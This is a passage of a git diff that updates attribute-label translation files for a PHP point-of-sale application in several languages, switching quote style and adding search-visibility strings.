kunde inte läggas till eller uppdateras. Kontrollera felloggen.', + 'definition_flags' => 'Attribut synlighet', + 'definition_group' => 'Grupp', + 'definition_id' => 'Id', + 'definition_name' => 'Lägg till attribut', + 'definition_name_required' => 'Attributnamn är ett obligatoriskt fält', + 'definition_one_or_multiple' => 'attribut', + 'definition_successful_adding' => 'Du har lagt till artikeln', + 'definition_successful_deleted' => 'Du har tagit bort', + 'definition_successful_updating' => 'Du har uppdaterat attributet', + 'definition_type' => 'Attributtyp', + 'definition_type_required' => 'Attributtyp är ett obligatoriskt fält', + 'definition_unit' => 'Måttenhet', + 'definition_values' => 'Attributvärden', + 'new' => 'Nytt attribut', + 'no_attributes_to_display' => 'Inga artiklar att visa', + 'receipt_visibility' => 'Kvitto', + 'show_in_items' => 'Visa i artiklar', + 'show_in_items_visibility' => 'Artiklar', + 'show_in_receipt' => 'Visa i kvitto', + 'show_in_receivings' => 'Visa i mottagande', + 'show_in_receivings_visibility' => 'Inleveranser', + 'show_in_sales' => 'Visa i försäljning', + 'show_in_sales_visibility' => 'Försäljning', + 'show_in_search' => 'Visa i sökning', + 'show_in_search_visibility' => 'Sökning', + 'update' => 'Uppdatera attribut', ]; diff --git a/app/Language/sw-KE/Attributes.php b/app/Language/sw-KE/Attributes.php index 241521565..07927944d 100644 --- a/app/Language/sw-KE/Attributes.php +++ b/app/Language/sw-KE/Attributes.php @@ -1,34 +1,36 @@ "Thamani ya sifa haiwezi kuwa na '_' au '|'", - "confirm_delete" => "Una uhakika unataka kufuta sifa iliyochaguliwa/zilizochaguliwa?", - "confirm_restore" => "Una uhakika unataka kurejesha sifa iliyochaguliwa/zilizochaguliwa?", - "definition_cannot_be_deleted" => "Haiwezekani kufuta sifa iliyochaguliwa/zilizochaguliwa", - "definition_invalid_group" => "Kikundi ulichochagua hakipo au hakitoshi.", - "definition_error_adding_updating" => "Sifa {0} haiwezekani kuongezwa au kusasishwa. Tafadhali angalia logi ya makosa.", - "definition_flags" => "Uonekano wa Sifa", - "definition_group" => "Kundi", - "definition_id" => "Id", - "definition_name" => "Ongeza Sifa", - "definition_name_required" => "Jina la sifa ni kiashiria kinachohitajika", - "definition_one_or_multiple" => "Sifa", - "definition_successful_adding" => "Umefanikiwa kuongeza kipengee(Item)", - "definition_successful_deleted" => "Umefanikiwa kufuta", - "definition_successful_updating" => "Umefanikiwa kusasisha sifa", - "definition_type" => "Aina ya Sifa", - "definition_type_required" => "Aina ya sifa ni kiashiria kinachohitajika", - "definition_unit" => "Kipimo", - "definition_values" => "Thamani za Sifa", - "new" => "Sifa Mpya", - "no_attributes_to_display" => "Hakuna Sifa za kuonyesha", - "receipt_visibility" => "Risiti", - "show_in_items" => "Onyesha kwenye bidhaa", - "show_in_items_visibility" => "Bidhaa", - "show_in_receipt" => "Onyesha kwenye risiti", - "show_in_receivings" => "Onyesha kwenye Manunuzi", - "show_in_receivings_visibility" => "Manunuzi", - "show_in_sales" => "Onyesha kwenye Mauzo", - "show_in_sales_visibility" => "Mauzo", - "update" => "Sasisha Sifa", -]; \ No newline at end of file + 'attribute_value_invalid_chars' => 'Thamani ya sifa haiwezi kuwa na \'_\' au \'|\'', + 'confirm_delete' => 'Una uhakika unataka kufuta sifa iliyochaguliwa/zilizochaguliwa?', + 'confirm_restore' => 'Una uhakika unataka kurejesha sifa iliyochaguliwa/zilizochaguliwa?', + 'definition_cannot_be_deleted' => 'Haiwezekani kufuta sifa iliyochaguliwa/zilizochaguliwa', + 'definition_invalid_group' => 'Kikundi ulichochagua hakipo au hakitoshi.', + 'definition_error_adding_updating' => 'Sifa {0} haiwezekani kuongezwa au kusasishwa. Tafadhali angalia logi ya makosa.', + 'definition_flags' => 'Uonekano wa Sifa', + 'definition_group' => 'Kundi', + 'definition_id' => 'Id', + 'definition_name' => 'Ongeza Sifa', + 'definition_name_required' => 'Jina la sifa ni kiashiria kinachohitajika', + 'definition_one_or_multiple' => 'Sifa', + 'definition_successful_adding' => 'Umefanikiwa kuongeza kipengee(Item)', + 'definition_successful_deleted' => 'Umefanikiwa kufuta', + 'definition_successful_updating' => 'Umefanikiwa kusasisha sifa', + 'definition_type' => 'Aina ya Sifa', + 'definition_type_required' => 'Aina ya sifa ni kiashiria kinachohitajika', + 'definition_unit' => 'Kipimo', + 'definition_values' => 'Thamani za Sifa', + 'new' => 'Sifa Mpya', + 'no_attributes_to_display' => 'Hakuna Sifa za kuonyesha', + 'receipt_visibility' => 'Risiti', + 'show_in_items' => 'Onyesha kwenye bidhaa', + 'show_in_items_visibility' => 'Bidhaa', + 'show_in_receipt' => 'Onyesha kwenye risiti', + 'show_in_receivings' => 'Onyesha kwenye Manunuzi', + 'show_in_receivings_visibility' => 'Manunuzi', + 'show_in_sales' => 'Onyesha kwenye Mauzo', + 'show_in_sales_visibility' => 'Mauzo', + 'show_in_search' => 'Onyesha kwenye Utafutaji', + 'show_in_search_visibility' => 'Utafutaji', + 'update' => 'Sasisha Sifa', +]; diff --git a/app/Language/sw-TZ/Attributes.php b/app/Language/sw-TZ/Attributes.php index 241521565..07927944d 100644 --- a/app/Language/sw-TZ/Attributes.php +++ b/app/Language/sw-TZ/Attributes.php @@ -1,34 +1,36 @@ "Thamani ya sifa haiwezi kuwa na '_' au '|'", - "confirm_delete" => "Una uhakika unataka kufuta sifa iliyochaguliwa/zilizochaguliwa?", - "confirm_restore" => "Una uhakika unataka kurejesha sifa iliyochaguliwa/zilizochaguliwa?", - "definition_cannot_be_deleted" => "Haiwezekani kufuta sifa iliyochaguliwa/zilizochaguliwa", - "definition_invalid_group" => "Kikundi ulichochagua hakipo au hakitoshi.", - "definition_error_adding_updating" => "Sifa {0} haiwezekani kuongezwa au kusasishwa. Tafadhali angalia logi ya makosa.", - "definition_flags" => "Uonekano wa Sifa", - "definition_group" => "Kundi", - "definition_id" => "Id", - "definition_name" => "Ongeza Sifa", - "definition_name_required" => "Jina la sifa ni kiashiria kinachohitajika", - "definition_one_or_multiple" => "Sifa", - "definition_successful_adding" => "Umefanikiwa kuongeza kipengee(Item)", - "definition_successful_deleted" => "Umefanikiwa kufuta", - "definition_successful_updating" => "Umefanikiwa kusasisha sifa", - "definition_type" => "Aina ya Sifa", - "definition_type_required" => "Aina ya sifa ni kiashiria kinachohitajika", - "definition_unit" => "Kipimo", - "definition_values" => "Thamani za Sifa", - "new" => "Sifa Mpya", - "no_attributes_to_display" => "Hakuna Sifa za kuonyesha", - "receipt_visibility" => "Risiti", - "show_in_items" => "Onyesha kwenye bidhaa", - "show_in_items_visibility" => "Bidhaa", - "show_in_receipt" => "Onyesha kwenye risiti", - "show_in_receivings" => "Onyesha kwenye Manunuzi", - "show_in_receivings_visibility" => "Manunuzi", - "show_in_sales" => "Onyesha kwenye Mauzo", - "show_in_sales_visibility" => "Mauzo", - "update" => "Sasisha Sifa", -]; \ No newline at end of file + 'attribute_value_invalid_chars' => 'Thamani ya sifa haiwezi kuwa na \'_\' au \'|\'', + 'confirm_delete' => 'Una uhakika unataka kufuta sifa iliyochaguliwa/zilizochaguliwa?', + 'confirm_restore' => 'Una uhakika unataka kurejesha sifa iliyochaguliwa/zilizochaguliwa?', + 'definition_cannot_be_deleted' => 'Haiwezekani kufuta sifa iliyochaguliwa/zilizochaguliwa', + 'definition_invalid_group' => 'Kikundi ulichochagua hakipo au hakitoshi.', + 'definition_error_adding_updating' => 'Sifa {0} haiwezekani kuongezwa au kusasishwa. Tafadhali angalia logi ya makosa.', + 'definition_flags' => 'Uonekano wa Sifa', + 'definition_group' => 'Kundi', + 'definition_id' => 'Id', + 'definition_name' => 'Ongeza Sifa', + 'definition_name_required' => 'Jina la sifa ni kiashiria kinachohitajika', + 'definition_one_or_multiple' => 'Sifa', + 'definition_successful_adding' => 'Umefanikiwa kuongeza kipengee(Item)', + 'definition_successful_deleted' => 'Umefanikiwa kufuta', + 'definition_successful_updating' => 'Umefanikiwa kusasisha sifa', + 'definition_type' => 'Aina ya Sifa', + 'definition_type_required' => 'Aina ya sifa ni kiashiria kinachohitajika', + 'definition_unit' => 'Kipimo', + 'definition_values' => 'Thamani za Sifa', + 'new' => 'Sifa Mpya', + 'no_attributes_to_display' => 'Hakuna Sifa za kuonyesha', + 'receipt_visibility' => 'Risiti', + 'show_in_items' => 'Onyesha kwenye bidhaa', + 'show_in_items_visibility' => 'Bidhaa', + 'show_in_receipt' => 'Onyesha kwenye risiti', + 'show_in_receivings' => 'Onyesha kwenye Manunuzi', + 'show_in_receivings_visibility' => 'Manunuzi', + 'show_in_sales' => 'Onyesha kwenye Mauzo', + 'show_in_sales_visibility' => 'Mauzo', + 'show_in_search' => 'Onyesha kwenye Utafutaji', + 'show_in_search_visibility' => 'Utafutaji', + 'update' => 'Sasisha Sifa', +]; diff --git a/app/Language/ta/Attributes.php b/app/Language/ta/Attributes.php index 9c278989d..c944cc3ea 100644 --- a/app/Language/ta/Attributes.php +++ b/app/Language/ta/Attributes.php @@ -1,34 +1,36 @@ "பண்புக்கூறு மதிப்பு '_' அல்லது '|' கொண்டிருக்கக்கூடாது", - "confirm_delete" => "தேர்ந்தெடுக்கப்பட்ட பண்புக்கூறு (களை) நீக்க விரும்புகிறீர்களா?", - "confirm_restore" => "தேர்ந்தெடுக்கப்பட்ட பண்புக்கூறுகளை (களை) மீட்டெடுக்க விரும்புகிறீர்களா?", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'பண்புக்கூறு மதிப்பு \'_\' அல்லது \'|\' கொண்டிருக்கக்கூடாது', + 'confirm_delete' => 'தேர்ந்தெடுக்கப்பட்ட பண்புக்கூறு (களை) நீக்க விரும்புகிறீர்களா?', + 'confirm_restore' => 'தேர்ந்தெடுக்கப்பட்ட பண்புக்கூறுகளை (களை) மீட்டெடுக்க விரும்புகிறீர்களா?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute name is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated attribute', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute type is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Items to display', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'தேடலில் காட்டு', + 'show_in_search_visibility' => 'தேடல்', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/th/Attributes.php b/app/Language/th/Attributes.php index 4c1e161b3..3d10767f0 100644 --- a/app/Language/th/Attributes.php +++ b/app/Language/th/Attributes.php @@ -1,34 +1,36 @@ "คุณลักษณะไม่สามารถมีเครื่องหมาย ':' หรือเครื่องหมาย '|' ได้", - "confirm_delete" => "ต้องการลบคุณลักษณะที่เลือกหรือไม่ ?", - "confirm_restore" => "ต้องการคืนค่าคุณลักษณะที่เลือกหรือไม่ ?", - "definition_cannot_be_deleted" => "ไม่สามารถลบคุณลักษณะที่เลือก", - "definition_invalid_group" => "กลุ่มที่เลือกไม่มีอยู่หรือไม่ถูกต้อง", - "definition_error_adding_updating" => "ไม่สามารถเพิ่มหรือแก้ไขคุณลักษณะ {0}, โปรดตรวจสอบความผิดพลาดในบันทึก", - "definition_flags" => "การมองเห็นคุณลักษณะ", - "definition_group" => "กลุ่ม", - "definition_id" => "ID", - "definition_name" => "เพิ่มแอตทริบิวต์", - "definition_name_required" => "ชื่อแอตทริบิวต์ จำเป็นต้องป้อน", - "definition_one_or_multiple" => "แอตทริบิวต์", - "definition_successful_adding" => "เพิ่มรายการสำเร็จแล้ว", - "definition_successful_deleted" => "ลบรายการสำเร็จแล้ว", - "definition_successful_updating" => "อัปเดตแอตทริบิวต์สำเร็จแล้ว", - "definition_type" => "ประเภทแอตทริบิวต์", - "definition_type_required" => "ประเภทแอตทริบิวต์ จำเป็นต้องป้อน", - "definition_unit" => "หน่วยวัด", - "definition_values" => "ค่าแอตทริบิวต์", - "new" => "สร้าง แอตทริบิวต์", - "no_attributes_to_display" => "ไม่มีรายการที่จะแสดง", - "receipt_visibility" => "ใบเสร็จ", - "show_in_items" => "แสดงใน รายการสินค้า", - "show_in_items_visibility" => "รายการสินค้า", - "show_in_receipt" => "แสดงใน ใบเสร็จ", - "show_in_receivings" => "แสดงใน สินค้าขาเข้า", - "show_in_receivings_visibility" => "สินค้าขาเข้า", - "show_in_sales" => "แสดงใน การขาย", - "show_in_sales_visibility" => "การขาย", - "update" => "ปรับปรุงแอตทริบิวต์", + 'attribute_value_invalid_chars' => 'คุณลักษณะไม่สามารถมีเครื่องหมาย \':\' หรือเครื่องหมาย \'|\' ได้', + 'confirm_delete' => 'ต้องการลบคุณลักษณะที่เลือกหรือไม่ ?', + 'confirm_restore' => 'ต้องการคืนค่าคุณลักษณะที่เลือกหรือไม่ ?', + 'definition_cannot_be_deleted' => 'ไม่สามารถลบคุณลักษณะที่เลือก', + 'definition_invalid_group' => 'กลุ่มที่เลือกไม่มีอยู่หรือไม่ถูกต้อง', + 'definition_error_adding_updating' => 'ไม่สามารถเพิ่มหรือแก้ไขคุณลักษณะ {0}, โปรดตรวจสอบความผิดพลาดในบันทึก', + 'definition_flags' => 'การมองเห็นคุณลักษณะ', + 'definition_group' => 'กลุ่ม', + 'definition_id' => 'ID', + 'definition_name' => 'เพิ่มแอตทริบิวต์', + 'definition_name_required' => 'ชื่อแอตทริบิวต์ จำเป็นต้องป้อน', + 'definition_one_or_multiple' => 'แอตทริบิวต์', + 'definition_successful_adding' => 'เพิ่มรายการสำเร็จแล้ว', + 'definition_successful_deleted' => 'ลบรายการสำเร็จแล้ว', + 'definition_successful_updating' => 'อัปเดตแอตทริบิวต์สำเร็จแล้ว', + 'definition_type' => 'ประเภทแอตทริบิวต์', + 'definition_type_required' => 'ประเภทแอตทริบิวต์ จำเป็นต้องป้อน', + 'definition_unit' => 'หน่วยวัด', + 'definition_values' => 'ค่าแอตทริบิวต์', + 'new' => 'สร้าง แอตทริบิวต์', + 'no_attributes_to_display' => 'ไม่มีรายการที่จะแสดง', + 'receipt_visibility' => 'ใบเสร็จ', + 'show_in_items' => 'แสดงใน รายการสินค้า', + 'show_in_items_visibility' => 'รายการสินค้า', + 'show_in_receipt' => 'แสดงใน ใบเสร็จ', + 'show_in_receivings' => 'แสดงใน สินค้าขาเข้า', + 'show_in_receivings_visibility' => 'สินค้าขาเข้า', + 'show_in_sales' => 'แสดงใน การขาย', + 'show_in_sales_visibility' => 'การขาย', + 'show_in_search' => 'แสดงใน การค้นหา', + 'show_in_search_visibility' => 'การค้นหา', + 'update' => 'ปรับปรุงแอตทริบิวต์', ]; diff --git a/app/Language/tl/Attributes.php b/app/Language/tl/Attributes.php index e163b8835..cfa63c1d0 100644 --- a/app/Language/tl/Attributes.php +++ b/app/Language/tl/Attributes.php @@ -1,34 +1,36 @@ "Attribute value cannot contain ':' or '|'", - "confirm_delete" => "Are you sure you want to restore the selected attribute(s)?", - "confirm_restore" => "Are you sure you want to delete the selected attribute(s)?", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute type is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated Item Kit", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute name is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display.", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'Attribute value cannot contain \':\' or \'|\'', + 'confirm_delete' => 'Are you sure you want to restore the selected attribute(s)?', + 'confirm_restore' => 'Are you sure you want to delete the selected attribute(s)?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute type is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated Item Kit', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute name is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Items to display.', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'Ipakita sa paghahanap', + 'show_in_search_visibility' => 'Paghahanap', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/tr/Attributes.php b/app/Language/tr/Attributes.php index 877496fc7..570426e32 100644 --- a/app/Language/tr/Attributes.php +++ b/app/Language/tr/Attributes.php @@ -1,34 +1,36 @@ "Nitelik değeri ':' ve ya '|' karakterlerini bulunduramaz", - "confirm_delete" => "Seçili niteliği ya da nitelikleri silmek istediğinize emin misiniz?", - "confirm_restore" => "Seçili nitelik ya da nitelikleri kurtarmak istediğinize emin misiniz?", - "definition_cannot_be_deleted" => "Seçili nitelik ya da nitelikler silinemedi", - "definition_invalid_group" => "Seçilen grup mevcut değil veya geçersiz.", - "definition_error_adding_updating" => "Nitelik {0} eklenemedi ya da güncellenemedi. Lütfen hata kaydını gözden geçirin.", - "definition_flags" => "Nitelik Görünebilirliği", - "definition_group" => "Küme", - "definition_id" => "Kimlik", - "definition_name" => "Nitelik Ekle", - "definition_name_required" => "Nitelik adı girilmesi gerekli alandır", - "definition_one_or_multiple" => "Nitelik/Nitelikler", - "definition_successful_adding" => "Başarıyla öge eklediniz", - "definition_successful_deleted" => "Başarıyla sildiniz", - "definition_successful_updating" => "Başarılı biçimde niteliği güncellediniz", - "definition_type" => "Nitelik Türü", - "definition_type_required" => "Nitelik türü alanı gereklidir", - "definition_unit" => "Ölçü Birimi", - "definition_values" => "Nitelik Değerleri", - "new" => "Yeni Nitelik", - "no_attributes_to_display" => "Gösterecek ürün yok", - "receipt_visibility" => "Fiş", - "show_in_items" => "Ürünlerde göster", - "show_in_items_visibility" => "Ürünler", - "show_in_receipt" => "Fişlerde göster", - "show_in_receivings" => "Alacaklarda göster", - "show_in_receivings_visibility" => "Alacaklar", - "show_in_sales" => "Satışlarda göster", - "show_in_sales_visibility" => "Satışlar", - "update" => "Nitelik Güncelle", + 'attribute_value_invalid_chars' => 'Nitelik değeri \':\' ve ya \'|\' karakterlerini bulunduramaz', + 'confirm_delete' => 'Seçili niteliği ya da nitelikleri silmek istediğinize emin misiniz?', + 'confirm_restore' => 'Seçili nitelik ya da nitelikleri kurtarmak istediğinize emin misiniz?', + 'definition_cannot_be_deleted' => 'Seçili nitelik ya da nitelikler silinemedi', + 'definition_invalid_group' => 'Seçilen grup mevcut değil veya geçersiz.', + 'definition_error_adding_updating' => 'Nitelik {0} eklenemedi ya da güncellenemedi. Lütfen hata kaydını gözden geçirin.', + 'definition_flags' => 'Nitelik Görünebilirliği', + 'definition_group' => 'Küme', + 'definition_id' => 'Kimlik', + 'definition_name' => 'Nitelik Ekle', + 'definition_name_required' => 'Nitelik adı girilmesi gerekli alandır', + 'definition_one_or_multiple' => 'Nitelik/Nitelikler', + 'definition_successful_adding' => 'Başarıyla öge eklediniz', + 'definition_successful_deleted' => 'Başarıyla sildiniz', + 'definition_successful_updating' => 'Başarılı biçimde niteliği güncellediniz', + 'definition_type' => 'Nitelik Türü', + 'definition_type_required' => 'Nitelik türü alanı gereklidir', + 'definition_unit' => 'Ölçü Birimi', + 'definition_values' => 'Nitelik Değerleri', + 'new' => 'Yeni Nitelik', + 'no_attributes_to_display' => 'Gösterecek ürün yok', + 'receipt_visibility' => 'Fiş', + 'show_in_items' => 'Ürünlerde göster', + 'show_in_items_visibility' => 'Ürünler', + 'show_in_receipt' => 'Fişlerde göster', + 'show_in_receivings' => 'Alacaklarda göster', + 'show_in_receivings_visibility' => 'Alacaklar', + 'show_in_sales' => 'Satışlarda göster', + 'show_in_sales_visibility' => 'Satışlar', + 'show_in_search' => 'Aramada göster', + 'show_in_search_visibility' => 'Arama', + 'update' => 'Nitelik Güncelle', ]; diff --git a/app/Language/uk/Attributes.php b/app/Language/uk/Attributes.php index f9302f861..d0fa55e8a 100644 --- a/app/Language/uk/Attributes.php +++ b/app/Language/uk/Attributes.php @@ -1,34 +1,36 @@ "Значення атрибуту не може містити ':' або'|'", - "confirm_delete" => "Ви впевнені, що хочете видалити вибрані атрибут(и)?", - "confirm_restore" => "Ви впевнені, що хочете відновити вибрані атрибут(и)?", - "definition_cannot_be_deleted" => "Не вдалося видалити вибрані атрибут(и)", - "definition_invalid_group" => "Вибрана група не існує або недійсна.", - "definition_error_adding_updating" => "Атрибут {0} не може бути доданий або оновлений. Будь ласка, перевірте журнал помилок.", - "definition_flags" => "Видимість атрибуту", - "definition_group" => "Група", - "definition_id" => "№", - "definition_name" => "Додати атрибут", - "definition_name_required" => "Назва атрибуту - обов'язкове поле", - "definition_one_or_multiple" => "Атрибут(и)", - "definition_successful_adding" => "Ви успішно додали товар", - "definition_successful_deleted" => "Успішно видалено", - "definition_successful_updating" => "Оновлено успішно", - "definition_type" => "Тип атрибуту", - "definition_type_required" => "Назва атрибуту - обов'язкове поле", - "definition_unit" => "Одиниця виміру", - "definition_values" => "Значення атрибуту", - "new" => "Новий атрибут", - "no_attributes_to_display" => "Немає об'єктів для відображення", - "receipt_visibility" => "Чек", - "show_in_items" => "Показати в товарах", - "show_in_items_visibility" => "Товари", - "show_in_receipt" => "Показати в квитанції", - "show_in_receivings" => "Показати в надходженнях", - "show_in_receivings_visibility" => "Надходження", - "show_in_sales" => "Показати в продажах", - "show_in_sales_visibility" => "Продажі", - "update" => "Оновити атрибут", + 'attribute_value_invalid_chars' => 'Значення атрибуту не може містити \':\' або\'|\'', + 'confirm_delete' => 'Ви впевнені, що хочете видалити вибрані атрибут(и)?', + 'confirm_restore' => 'Ви впевнені, що хочете відновити вибрані атрибут(и)?', + 'definition_cannot_be_deleted' => 'Не вдалося видалити вибрані атрибут(и)', + 'definition_invalid_group' => 'Вибрана група не існує або недійсна.', + 'definition_error_adding_updating' => 'Атрибут {0} не може бути доданий або оновлений. Будь ласка, перевірте журнал помилок.', + 'definition_flags' => 'Видимість атрибуту', + 'definition_group' => 'Група', + 'definition_id' => '№', + 'definition_name' => 'Додати атрибут', + 'definition_name_required' => 'Назва атрибуту - обов\'язкове поле', + 'definition_one_or_multiple' => 'Атрибут(и)', + 'definition_successful_adding' => 'Ви успішно додали товар', + 'definition_successful_deleted' => 'Успішно видалено', + 'definition_successful_updating' => 'Оновлено успішно', + 'definition_type' => 'Тип атрибуту', + 'definition_type_required' => 'Назва атрибуту - обов\'язкове поле', + 'definition_unit' => 'Одиниця виміру', + 'definition_values' => 'Значення атрибуту', + 'new' => 'Новий атрибут', + 'no_attributes_to_display' => 'Немає об\'єктів для відображення', + 'receipt_visibility' => 'Чек', + 'show_in_items' => 'Показати в товарах', + 'show_in_items_visibility' => 'Товари', + 'show_in_receipt' => 'Показати в квитанції', + 'show_in_receivings' => 'Показати в надходженнях', + 'show_in_receivings_visibility' => 'Надходження', + 'show_in_sales' => 'Показати в продажах', + 'show_in_sales_visibility' => 'Продажі', + 'show_in_search' => 'Показати в пошуку', + 'show_in_search_visibility' => 'Пошук', + 'update' => 'Оновити атрибут', ]; diff --git a/app/Language/ur/Attributes.php b/app/Language/ur/Attributes.php index ce02d9f2c..8b46fb4f6 100644 --- a/app/Language/ur/Attributes.php +++ b/app/Language/ur/Attributes.php @@ -1,34 +1,36 @@ "وصف کے اندراج میں ':' یا '|' ممنوع ہیں", - "confirm_delete" => "کیا آپ منتخب شدہ کو حذف کرنا چاہتے ہیں ؟", - "confirm_restore" => "کیا آپ منتخب شدہ کو بحال کرنا چاہتے ہیں ؟", - "definition_cannot_be_deleted" => "منتخب شدہ کو حذف نہیں کیا جا سکتا", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'وصف کے اندراج میں \':\' یا \'|\' ممنوع ہیں', + 'confirm_delete' => 'کیا آپ منتخب شدہ کو حذف کرنا چاہتے ہیں ؟', + 'confirm_restore' => 'کیا آپ منتخب شدہ کو بحال کرنا چاہتے ہیں ؟', + 'definition_cannot_be_deleted' => 'منتخب شدہ کو حذف نہیں کیا جا سکتا', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute name is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated attribute', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute type is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Items to display', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'تلاش میں دکھائیں', + 'show_in_search_visibility' => 'تلاش', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/vi/Attributes.php b/app/Language/vi/Attributes.php index 90bd2245e..ce35181e7 100644 --- a/app/Language/vi/Attributes.php +++ b/app/Language/vi/Attributes.php @@ -1,34 +1,36 @@ "Giá trị thuộc tính không thể chứa ':' hay '|'", - "confirm_delete" => "Bạn có chắc chắn muốn xóa (các) thuộc tính đã chọn không?", - "confirm_restore" => "Bạn có chắc chắn muốn khôi phục (các) thuộc tính đã chọn không?", - "definition_cannot_be_deleted" => "Không thể xóa (các) thuộc tính được chọn", - "definition_invalid_group" => "Nhóm đã chọn không tồn tại hoặc không hợp lệ.", - "definition_error_adding_updating" => "Thuộc tính {0} không thể thêm hoặc cập nhật. Vui lòng kiểm tra nhật ký lỗi.", - "definition_flags" => "Hiển thị thuộc tính", - "definition_group" => "Nhóm", - "definition_id" => "Mã số", - 